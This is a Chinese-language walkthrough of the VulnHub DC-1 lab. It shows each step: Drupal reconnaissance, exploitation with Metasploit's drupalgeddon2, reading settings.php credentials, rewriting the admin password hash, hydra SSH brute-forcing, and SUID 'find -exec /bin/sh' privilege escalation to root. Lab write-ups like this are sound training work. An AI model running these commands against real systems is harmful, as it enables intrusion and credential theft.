一. 环境搭建
1.1、DC-1靶场机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
1.2、安装过程
解压后得到个.ova文件

进入Vm打开,然后等待导入完毕。
然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net。
二. 渗透过程
2.1、信息收集
①探测目标IP地址
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover
arp-scan -l
该命令是探测当前网段的所有存活主机的IP地址
可以看到当前网段内存活的主机IP为192.168.228.132

可以用nmap去探测一下该IP开了什么端口。

可以看到这个ip开了80端口,我们可以直接浏览器访问这个Ip地址。
利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

当然也可以用kali自带的工具whatweb扫
1 | whatweb -v 192.168.228.132 |

经过信息收集之后我们可以得到如下信息
1 | CMS是Drupal |
2.2、漏洞查找与利用
知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞
这是一个框架漏洞,我们可以用kali自带的工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞。

先打开工具
1 | msfconsole |

用search命令去搜索我们要渗透的网站框架
1 | search Drupal |

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,我们选择2018年的那个漏洞
使用use命令 + 漏洞名称,指定我们要利用的漏洞
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |

接着看一下该漏洞模块参数
1 | show options |

Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set。
1 | set 192.168.228.132 |

设置完参数之后就可以run了
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

三. Getshell
3.1、获取普通shell
shell
获取一下普通的shell,然后执行ls命令

3.2、获取交互shell
这样看起来有点不习惯,不过我们可以利用python实现互交shell,这样就好看一点。
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
然后查看flag1.txt

每个好的CMS都需要一个配置文件,你也一样。这个先放着,看看还有没有其他flag文件
1 | find / -name flag* |

就只有这一个flag文件,上面的flag说每个cms都需要一个好的配置文件,我们去搜一下Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
1 | cat `find / -name settings.php` |

在这里我们得到了数据库用户名和密码,直接连接数据库
1 | mysql -udbuser -pR0ck3t |

有一个名为drupaldb的数据库,进入这个数据库看一下,并查看表
1 | use drupaldb; |

有一张users表,查看一下表的内容
1 | select * from users; |

加一个admin。
修改admin密码
我们得先找到加密文件,Drupal的加密脚本在
1 | /var/www/scripts/password-hash.sh |
目录下,先退出mysql,打开加密脚本
1 | cat /var/www/scripts/password-hash.sh |
1 | #!/usr/bin/php |
看到这里我们可以直接运行这个加密脚本,后面跟上我们的密码明文,他就会给我们输出出来密文。这里我们设置一个密码123456

1 | php /var/www/scripts/password-hash.sh 123456 |

我们把这个密文去数据库里面修改amdin,或者Fred的密码
1 | mysql -udbuser -pR0ck3t |
我们可以看到已经修改成我们生成的密码了,这样就可以直接去网站里面登录进去了。

登陆成功

这里有第三个flag3


登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取
接着我们查看一下用户信息
1 | cat /etc/passwd |

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码
四.用户密码爆破
事先参考SSH
利用工具Hydra爆破flag4的密码
1 | hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.228.132 |

得到密码,orange,然后我们用kali连接
1 | ssh flag4@192.168.228.132 |
连接成功,查看flag

提示我们去root里面找flag
五.Linux提权
需要用到SUID提权,参考 简谈SUID提权 - FreeBuf网络安全行业门户
利用find命令,找查具有SUID权限的可执行二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |
这个命令的作用是在根目录 / 下查找所有文件,如果文件的用户 ID 位设置为 SUID(SUID 是 setuid 的缩写,表示当该程序运行时将以拥有者的权限运行),则列出它们的文件名。并且将所有标准错误输出到 /dev/null 中,以避免在屏幕上显示不必要的错误信息。
下面是各个参数的解释:
- find: 命令名,用于在指定的路径下查找文件和目录。
- /: 查找的路径,本例中是根目录。
- -perm: 参数选项,用于按照文件权限查找文件。
- -u=s: 参数选项,用于查找文件的用户 ID 位设置为 SUID(即文件所有者执行时具有其权限)的文件。u 表示用户(user),**=** 表示精确匹配,s 表示设置了 SUID。
- -type: 参数选项,用于指定要查找的文件类型,f 表示查找普通文件(即不包括目录和链接等其他类型的文件)。
- 2>/dev/null: 将标准错误输出重定向到 /dev/null 设备,即将错误信息丢弃不予显示。

find比较常用,可以执行root权限的命令找查文件
1 | find / -name index.php -exec "/bin/sh" \; |

可以看到我们已经是root权限了

拿到最终的flag